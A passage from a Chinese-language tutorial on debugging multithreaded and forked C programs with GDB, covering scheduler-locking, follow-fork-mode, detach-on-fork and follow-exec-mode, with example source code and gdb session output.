&lt;p&gt;类似于在创建线程时打印出的&lt;code&gt;[New ...]&lt;&#x2F;code&gt;这样的消息，&lt;code&gt;Switching to&lt;&#x2F;code&gt;后面的消息打印也依赖于你所使用的系统&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;thread apply [thread-id-list | all [-ascending]] command&lt;&#x2F;code&gt;: 本命令允许你在一个或多个线程上应用指定的&lt;code&gt;command&lt;&#x2F;code&gt;。如果要在所有线程上按降序的方式应用某个&lt;code&gt;command&lt;&#x2F;code&gt;，那么使用 ‘thread apply all command’; 如果要在所有线程上按升序的方式应用某个&lt;code&gt;command&lt;&#x2F;code&gt;，那么使用’thread apply all -ascending command’;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;thread name [name]&lt;&#x2F;strong&gt; : 本命令用于为当前线程指定一个名称。假如并未指定参数的话，那么任何已存在的由用户指定的名称都将被移除。命名后线程的名称会出现在&lt;code&gt;info threads&lt;&#x2F;code&gt;的显示信息中。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;thread find [regexp]&lt;&#x2F;strong&gt; : 用于查询名称或&lt;code&gt;systag&lt;&#x2F;code&gt;匹配查询表达式的线程。例如：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;(gdb) thread find 26688
Thread 4 has target id ’Thread 0x41e02940 (LWP 26688)’
(gdb) info thread 4
Id Target Id Frame
4 Thread 0x41e02940 (LWP 26688) 0x00000031ca6cd372 in select ()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;set libthread-db-search-path [path]&lt;&#x2F;strong&gt; : 假如本变量被设置，那么GDB将会使用所设置的路径(路径目录之间以’:’分割)来查找&lt;code&gt;libthread_db&lt;&#x2F;code&gt;。假如执行此命令时，并不指定path，那么将会被重置为默认值（在GNU&#x2F;Linux及Solaris系统下默认值为&lt;code&gt;pdir&lt;&#x2F;code&gt;，即系统路径和当前进程所加载线程库的路径)。而在内部，默认值来自于&lt;code&gt;LIBTHREAD_DB_SEARCH_PATH&lt;&#x2F;code&gt;宏定义。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在GNU&#x2F;Linux以及Solaris操作系统上，GDB使用该辅助&lt;code&gt;libthread_db&lt;&#x2F;code&gt;库来获取inferior中线程的信息。GDB会使用’libthread-db-search-path’来搜索&lt;code&gt;libthread_db&lt;&#x2F;code&gt;。假如’set auto-load libthread-db’被启用的话，GDB首先会搜索该inferior所加载的线程调试库。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;在使用libthread-db-search-path搜索libthread_db时，有两个特定的路径： $sydir、$pdir

1) $sdir: 搜索共享库的默认的系统路径。本路径是唯一不需要通过&amp;#x27;set auto-load libthread_db&amp;#x27;命令来启用的

2） $pdir: 指示inferior process加载libpthread库的位置
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;假如在上述目录中找到了&lt;code&gt;libpthread_db&lt;&#x2F;code&gt;库，那么GDB就会尝试用当前inferior process来初始化。假如初始化失败的话（一般在libpthread_db与libpthread版本不匹配的情况），GDB就会卸载该libpthread_db，然后尝试继续从下一个路径搜索libpthread_db。假如最后都没有找到适合的版本，GDB会打印相应的警告信息，接着线程调试将会被禁止。&lt;&#x2F;p&gt;
&lt;p&gt;注意： 本命令只在一些特定的平台上可用。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;show libpthread-db-search-path&lt;&#x2F;strong&gt;: 用于显示当前&lt;code&gt;libpthread_db&lt;&#x2F;code&gt;的搜索路径&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;set debug libpthread-db &#x2F; show debug libpthread-db&lt;&#x2F;strong&gt;: 用于启用或关闭&lt;code&gt;libpthread-db&lt;&#x2F;code&gt;相关的事件信息的打印。1为启用， 0为关闭。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;set scheduler-locking mode&lt;&#x2F;strong&gt;: 用于设置&lt;code&gt;锁定线程的模式&lt;&#x2F;code&gt;(scheduler locking mode)。其适用于程序正常执行、record mode以及重放模式。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;1) mode为off时，则不锁定任何线程，即所有线程在任何时间都可以被执行；

2) mode为on时，则锁定其他线程，只有当前线程执行；

3) mode为step时,则当在进行单步调试(single-stepping)时只有当前线程会运行，其他的线程将不会获得运行的机会，这样就可以使得调试的焦点
   只集中于当前线程。但是假如执行的时&amp;#x27;continue&amp;#x27;、&amp;#x27;until&amp;#x27;、&amp;#x27;finish&amp;#x27;这样的非单步调试命令的话，则其他的线程也会运行。

一般来说，除非一个线程在其运行时间片内遇到断点(breakpoint)，否则GDB一般并不会从当前调试线程切换到该线程。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;show scheduler-locking&lt;&#x2F;strong&gt;: 用于显示当前的锁定模式&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;示例源代码&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如下是我们所采用的调试示例源代码&lt;code&gt;test.c&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;

int a = 0;
int b = 0;

static void * pthread_run1(void *arg)
{
        int runflag = 1;

        while(runflag)
        {
                a++;
                sleep(1);
        }

        pthread_exit((void *)a);

        return NULL;
}

static void * pthread_run2(void *arg)
{
        int runflag = 1;

        while(runflag)
        {
                b++;
                sleep(1);
        }

        pthread_exit((void *)b);

        return NULL;
}

int main(int argc,char *argv[])
{
        pthread_t tid1, tid2;
        int retval_1, retval_2;

        pthread_create(&amp;amp;tid1, NULL, pthread_run1, NULL);
        pthread_create(&amp;amp;tid2, NULL, pthread_run2, NULL);

        pthread_join(tid1,(void *)&amp;amp;retval_1);
        pthread_join(tid2,(void *)&amp;amp;retval_2);

        printf(&amp;quot;retval_1: %d\n&amp;quot;, retval_1);
        printf(&amp;quot;retval_2: %d\n&amp;quot;, retval_2);

        return 0x0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;编译运行&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;# gcc -c -g test.c gcc -c -g test.c -Wno-int-to-pointer-cast
# gcc -o test test.o -lpthread

# ps -aL | grep test
 40900  40900 pts&amp;#x2F;0    00:00:00 test
 40900  40901 pts&amp;#x2F;0    00:00:00 test
 40900  40902 pts&amp;#x2F;0    00:00:00 test
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们再通过如下命令查看主线程和两个子线程之间的关系：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# pstree -p 40900
test(40900)─┬─{test}(40901)
            └─{test}(40902)

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再接着通过&lt;code&gt;pstack&lt;&#x2F;code&gt;来查看线程栈结构：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# pstack 40900
Thread 3 (Thread 0x7fd44f426700 (LWP 40901)):
#0  0x00007fd44f4e566d in nanosleep () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
#1  0x00007fd44f4e5504 in sleep () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
#2  0x0000000000400757 in pthread_run1 (arg=0x0) at test.c:14
#3  0x00007fd44f7efdc5 in start_thread () from &amp;#x2F;lib64&amp;#x2F;libpthread.so.0
#4  0x00007fd44f51e73d in clone () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
Thread 2 (Thread 0x7fd44ec25700 (LWP 40902)):
#0  0x00007fd44f4e566d in nanosleep () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
#1  0x00007fd44f4e5504 in sleep () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
#2  0x0000000000400794 in pthread_run2 (arg=0x0) at test.c:30
#3  0x00007fd44f7efdc5 in start_thread () from &amp;#x2F;lib64&amp;#x2F;libpthread.so.0
#4  0x00007fd44f51e73d in clone () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
Thread 1 (Thread 0x7fd44fc0c740 (LWP 40900)):
#0  0x00007fd44f7f0ef7 in pthread_join () from &amp;#x2F;lib64&amp;#x2F;libpthread.so.0
#1  0x00000000004007ff in main (argc=1, argv=0x7ffdbfa69a38) at test.c:46
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GDB调试多线程程序&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;1） 启动gdb调试，并在上述代码&lt;code&gt;a++&lt;&#x2F;code&gt;处加上断点&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) b test.c:14
Breakpoint 1 at 0x400749: file test.c, line 13.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;2） 运行并查看inferiors及threads信息&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) r
Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
[Thread debugging using libthread_db enabled]
Using host libthread_db library &amp;quot;&amp;#x2F;lib64&amp;#x2F;libthread_db.so.1&amp;quot;.
[New Thread 0x7ffff77ff700 (LWP 41362)]
[Switching to Thread 0x7ffff77ff700 (LWP 41362)]

Breakpoint 1, pthread_run1 (arg=0x0) at test.c:13
13                      a++;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) info inferiors
  Num  Description       Executable
* 1    process 41788     &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
(gdb) info threads
  Id   Target Id         Frame
  3    Thread 0x7ffff6ffe700 (LWP 41793) &amp;quot;test&amp;quot; 0x00007ffff7835480 in sigprocmask () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
* 2    Thread 0x7ffff77ff700 (LWP 41792) &amp;quot;test&amp;quot; pthread_run1 (arg=0x0) at test.c:14
  1    Thread 0x7ffff7fe3740 (LWP 41788) &amp;quot;test&amp;quot; 0x00007ffff7bc9ef7 in pthread_join () from &amp;#x2F;lib64&amp;#x2F;libpthread.so.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从上面我们看到当前停在我们设置的断点处。&lt;&#x2F;p&gt;
&lt;p&gt;接着我们执行如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) s
15                      sleep(1);
(gdb) s
12              while(runflag)
(gdb) s

Breakpoint 1, pthread_run1 (arg=0x0) at test.c:14
14                      a++;
(gdb) s
15                      sleep(1);
(gdb) s
12              while(runflag)
(gdb) p b
$1 = 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面我们看到当我们在单步调试&lt;code&gt;pthread_run1&lt;&#x2F;code&gt;的时候，&lt;code&gt;pthread_run2&lt;&#x2F;code&gt;也在执行。但是当我们暂停在断点处时，&lt;code&gt;pthread_run2&lt;&#x2F;code&gt;是不在执行的。&lt;&#x2F;p&gt;
&lt;p&gt;如果我们想在调试一个线程时，其他线程暂停执行，那么可以使用&lt;code&gt;set scheduler-locking on&lt;&#x2F;code&gt;来锁定。例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) b test.c:14
Breakpoint 1 at 0x400742: file test.c, line 14.
(gdb) r
Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
[Thread debugging using libthread_db enabled]
Using host libthread_db library &amp;quot;&amp;#x2F;lib64&amp;#x2F;libthread_db.so.1&amp;quot;.
[New Thread 0x7ffff77ff700 (LWP 41951)]
[Switching to Thread 0x7ffff77ff700 (LWP 41951)]

Breakpoint 1, pthread_run1 (arg=0x0) at test.c:14
14                      a++;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) set scheduler-locking on
(gdb) p b
$1 = 0
(gdb) s
15                      sleep(1);
(gdb) s
s
12              while(runflag)
(gdb) s

Breakpoint 1, pthread_run1 (arg=0x0) at test.c:14
14                      a++;
(gdb) s
15                      sleep(1);
(gdb) s
12              while(runflag)
(gdb) s

Breakpoint 1, pthread_run1 (arg=0x0) at test.c:14
14                      a++;
(gdb) s
15                      sleep(1);
(gdb) s
12              while(runflag)
(gdb) s

Breakpoint 1, pthread_run1 (arg=0x0) at test.c:14
14                      a++;
(gdb) s
15                      sleep(1);
(gdb) s
12              while(runflag)
(gdb) p b
$2 = 0
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在大多数系统上，GDB对于通过&lt;code&gt;fork()&lt;&#x2F;code&gt;函数创建的子进程的调试都没有专门的支持。当一个程序fork()之后，GDB会继续调试父进程，而子进程仍会畅通无阻的运行。假如你在代码的某个部分设置了断点，然后子进程执行到该位置时，则子进程会受到一个&lt;code&gt;SIGTRAP&lt;&#x2F;code&gt;信号并导致子进程退出（除非子进程catch了该信号）。&lt;&#x2F;p&gt;
&lt;p&gt;然而，假如你想要调试子进程的话，也有一种相对简单的取巧方法。就是在执行完fork之后，在进入子进程代码时调用&lt;code&gt;sleep()&lt;&#x2F;code&gt;方法。这里可以根据某个环境变量是否设置或者某个文件是否存在来决定是否进入&lt;code&gt;sleep()&lt;&#x2F;code&gt;，这样就可以使得我们在非调试状态下避免休眠。当子进程进入sleep状态时，我们就可以通过&lt;code&gt;ps&lt;&#x2F;code&gt;命令查看到子进程的进程ID。接着可以通过使用GDB并attach到该子进程，然后就可以像调试普通程序一样进行调试了。&lt;&#x2F;p&gt;
&lt;p&gt;在有一些系统上，GDB对使用&lt;code&gt;fork()&lt;&#x2F;code&gt;或&lt;code&gt;vfork()&lt;&#x2F;code&gt;函数创建的子进程的调试提供了支持。在GNU&#x2F;Linux平台上，从内核&lt;code&gt;2.5.46&lt;&#x2F;code&gt;版本开始该特性就被支持。&lt;&#x2F;p&gt;
&lt;p&gt;默认情况下，当一个程序forks之后，GDB会继续调试父进程，而对子进程没有任何的影响。&lt;&#x2F;p&gt;
&lt;p&gt;假如你想要跟随子进程而不是父进程，那么可以使用&lt;code&gt;set follow-fork-mode&lt;&#x2F;code&gt;命令：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;set follow-fork-mode mode&lt;&#x2F;strong&gt;: 设置GDB调试器如何对&lt;code&gt;fork&lt;&#x2F;code&gt;或者&lt;code&gt;vfork&lt;&#x2F;code&gt;进行响应。参数&lt;code&gt;mode&lt;&#x2F;code&gt;的取值可以为&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;parent: 表示跟随父进程。这是默认情况

child: 表示跟随子进程
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;show follow-fork-mode&lt;&#x2F;strong&gt;: 显示当前的跟随模式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在Linux上，假如&lt;code&gt;parent&lt;&#x2F;code&gt;进程与&lt;code&gt;child&lt;&#x2F;code&gt;进程都想要调试的话，那么可以使用&lt;code&gt;set detach-on-fork&lt;&#x2F;code&gt;命令。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;set detach-on-fork mode&lt;&#x2F;strong&gt;: 用于告诉GDB在fork()之后是否分离其中的一个进程，或者同时保持对他们的控制。mode可取值为&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;on: 子进程或者父进程将会被分离（取决于follow-fork-mode),使得该进程可以独立的运行。这是默认值

off: 子进程和父进程都会在GDB的控制之下。其中一个进程（取决于follow-fork-mode)可以像平常那样进行调试，而另一个进程处于挂起状态
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;show detach-on-fork&lt;&#x2F;strong&gt;: 用于显示&lt;code&gt;detach-on-fork&lt;&#x2F;code&gt;模式的值&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;假如你选择设置&lt;code&gt;detach-on-fork&lt;&#x2F;code&gt;的值为off，那么GDB将会将会保持对所有fork进程的控制（也包括内部fork)。你可以通过使用&lt;code&gt;info inferiors&lt;&#x2F;code&gt;命令来查看当前处于GDB控制之下的进程，并使用&lt;code&gt;inferior&lt;&#x2F;code&gt;命令来进行切换。&lt;&#x2F;p&gt;
&lt;p&gt;如果要退出对其中一个fork进程的调试，你可以通过使用&lt;code&gt;detach inferiors&lt;&#x2F;code&gt;命令来使得该进程独立的运行，或者通过&lt;code&gt;kill inferiors&lt;&#x2F;code&gt;命令来将该进程杀死。&lt;&#x2F;p&gt;
&lt;p&gt;假如你使用GDB来调试子进程，并且是在执行完&lt;code&gt;vfork&lt;&#x2F;code&gt;再调用&lt;code&gt;exec&lt;&#x2F;code&gt;，那么GDB会调试该新的target直到遇到第一个breakpoint。另外，假如你在orginal program的main函数中设置了断点，那么在子进程的main函数中也会保持有该断点。&lt;&#x2F;p&gt;
&lt;p&gt;在有一些系统上，当子进程是通过&lt;code&gt;vfork()&lt;&#x2F;code&gt;函数产生的，那么在完成&lt;code&gt;exec&lt;&#x2F;code&gt;调用之前，你将不能对父进程或子进程进行调试。&lt;&#x2F;p&gt;
&lt;p&gt;假如在执行完&lt;code&gt;exec&lt;&#x2F;code&gt;调用之后，你通过运行&lt;code&gt;run&lt;&#x2F;code&gt;命令，那么该新的&lt;code&gt;target&lt;&#x2F;code&gt;将会重启。如果要重启父进程的话，使用&lt;code&gt;file&lt;&#x2F;code&gt;命令并将参数设置为&lt;code&gt;parent executable name&lt;&#x2F;code&gt;。默认情况下，当一个exec执行完成之后，GDB会丢弃前一个可执行镜像的符号表。你可以通过&lt;code&gt;set follow-exec-mode&lt;&#x2F;code&gt;命令来改变这一行为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;set follow-exec-mode mode&lt;&#x2F;strong&gt;: 当程序调用&lt;code&gt;exec&lt;&#x2F;code&gt;之后，GDB相应的行为。&lt;code&gt;exec&lt;&#x2F;code&gt;调用会替换一个进程的镜像。mode取值可以为：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;1） new: GDB会创建一个新的inferior，并将该进程重新绑定到新的inferior。在执行&lt;code&gt;exec&lt;&#x2F;code&gt;之前的所运行的程序可以通过重启原先的inferior(original inferior)来进行 重启。例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;(gdb) info inferiors
(gdb) info inferior
Id Description Executable
* 1 &amp;lt;null&amp;gt; prog1
(gdb) run
process 12020 is executing new program: prog2
Program exited normally.
(gdb) info inferiors
Id Description Executable
1 &amp;lt;null&amp;gt; prog1
* 2 &amp;lt;null&amp;gt; prog2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;same: GDB会将exec之后的新镜像加载到同一个&lt;code&gt;inferior&lt;&#x2F;code&gt;中,以替换原来的镜像。在执行exec之后如果要重启该inferior，那么可以通过运行&lt;code&gt;run&lt;&#x2F;code&gt;命令。这是默认模式。例如：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;(gdb) info inferiors
Id Description Executable
* 1 &amp;lt;null&amp;gt; prog1
(gdb) run
process 12020 is executing new program: prog2
Program exited normally.
(gdb) info inferiors
Id Description Executable
* 1 &amp;lt;null&amp;gt; prog2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;调试子进程&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;1） 示例源码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main(int argc,char *argv[])
{
        pid_t pid;

        pid = fork();

        if(pid &amp;lt; 0)
        {
                return -1;
        }
        else if(pid &amp;gt; 0)
        {
                return 1;
        }
        printf(&amp;quot;hello,world!\n&amp;quot;);

        return 0x0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;调试步骤&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;首先执行下面的命令进行编译：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -g -c test.c
# gcc -o test test.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在调试多进程程序时，GDB默认会追踪处理父进程。例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) start
Temporary breakpoint 1 at 0x40058c: file test.c, line 10.
Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test

Temporary breakpoint 1, main (argc=1, argv=0x7fffffffe638) at test.c:10
10              pid = fork();
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) n
Detaching after fork from child process 52320.
hello,world!
12              if(pid &amp;lt; 0)
(gdb) n
16              else if(pid &amp;gt; 0)
(gdb) n
18                      return 1;
(gdb) n
23      }
(gdb) n
0x00007ffff7a3db35 in __libc_start_main () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面我们看到，子进程很快就打印出了&lt;code&gt;hello,world!&lt;&#x2F;code&gt;,说明GDB并没有控制住子进程。而在父进程中，我们通过单步执行到第18行的return，然后父进程返回退出。&lt;&#x2F;p&gt;
&lt;p&gt;如果要调试子进程，要使用如下的命令: &lt;code&gt;set follow-fork-mode child&lt;&#x2F;code&gt;。例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) start
Temporary breakpoint 1 at 0x40058c: file test.c, line 10.
Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test

Temporary breakpoint 1, main (argc=1, argv=0x7fffffffe638) at test.c:10
10              pid = fork();
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) set follow-fork-mode child
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is &amp;quot;child&amp;quot;.
(gdb) n
[New process 52457]
[Switching to process 52457]
12              if(pid &amp;lt; 0)
(gdb) n
16              else if(pid &amp;gt; 0)
(gdb) n
20              printf(&amp;quot;hello,world!\n&amp;quot;);
(gdb) n
hello,world!
22              return 0x0;
(gdb) n
23      }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面我们看到程序执行到第20行： 子进程打印出&lt;code&gt;hello,world!&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;同时调试父进程和子进程&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;1） 示例源码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char *argv[])
{
    pid_t pid;

    pid = fork();
    if (pid &amp;lt; 0)
    {
        exit(1);
    }
    else if (pid &amp;gt; 0)
    {
        printf(&amp;quot;Parent\n&amp;quot;);
        exit(0);
    }
    printf(&amp;quot;Child\n&amp;quot;);
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;调试步骤&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;首先通过执行下面的命令执行编译：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -g -c test.c
# gcc -o test test.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从前面我们知道，GDB默认情况下只会追踪父进程的运行，而子进程会独立运行，GDB不会控制。&lt;&#x2F;p&gt;
&lt;p&gt;如果同时调试父进程和子进程，可以使用&lt;code&gt;set detach-on-fork off&lt;&#x2F;code&gt;(默认值是on)命令，这样GDB就能同时调试父子进程，并且在调试一个进程时，另一个进程处于挂起状态。例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) show detach-on-fork
Whether gdb will detach the child of a fork is on.
(gdb) set detach-on-fork off
(gdb) start
Temporary breakpoint 1 at 0x4005cc: file test.c, line 8.
Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test

Temporary breakpoint 1, main (argc=1, argv=0x7fffffffe638) at test.c:8
8           pid = fork();
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) n
[New process 53415]
9           if (pid &amp;lt; 0)
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) info inferiors
  Num  Description       Executable
  2    process 53415     &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
* 1    process 52646     &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
(gdb) n
13          else if (pid &amp;gt; 0)
(gdb) n
15              printf(&amp;quot;Parent\n&amp;quot;);
(gdb) n
Parent
16              exit(0);
(gdb) n
[Inferior 1 (process 52646) exited normally]
(gdb) n
The program is not being run.
(gdb) info inferiors
  Num  Description       Executable
  2    process 53415     &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
* 1    &amp;lt;null&amp;gt;            &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
(gdb) inferior 2
[Switching to inferior 2 [process 53415] (&amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test)]
[Switching to thread 2 (process 53415)]
#0  0x00007ffff7ada74c in fork () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
(gdb) bt
#0  0x00007ffff7ada74c in fork () from &amp;#x2F;lib64&amp;#x2F;libc.so.6
#1  0x00000000004005d1 in main (argc=1, argv=0x7fffffffe638) at test.c:8
(gdb) n
Single stepping until exit from function fork,
which has no line number information.
main (argc=1, argv=0x7fffffffe638) at test.c:9
9           if (pid &amp;lt; 0)
(gdb) n
13          else if (pid &amp;gt; 0)
(gdb) n
18          printf(&amp;quot;Child\n&amp;quot;);
(gdb) n
Child
19          return 0;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面在使用&lt;code&gt;set detach-on-fork off&lt;&#x2F;code&gt;命令之后，使用&lt;code&gt;info inferiors&lt;&#x2F;code&gt;命令查看进程状态，可以看到父进程处在被GDB调试的状态（前面显示&lt;code&gt;*&lt;&#x2F;code&gt;表示正在被调试）。当父进程退出后，用&lt;code&gt;inferior infno&lt;&#x2F;code&gt;切换到子进程去调试。&lt;&#x2F;p&gt;
&lt;p&gt;此外，如果想让父子进程同时运行，可以使用&lt;code&gt;set schedule-multiple on&lt;&#x2F;code&gt;(默认值为off)命令，仍以上述代码为例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) set detach-on-fork off
(gdb) set schedule-multiple on
(gdb) start
Temporary breakpoint 1 at 0x4005cc: file test.c, line 8.
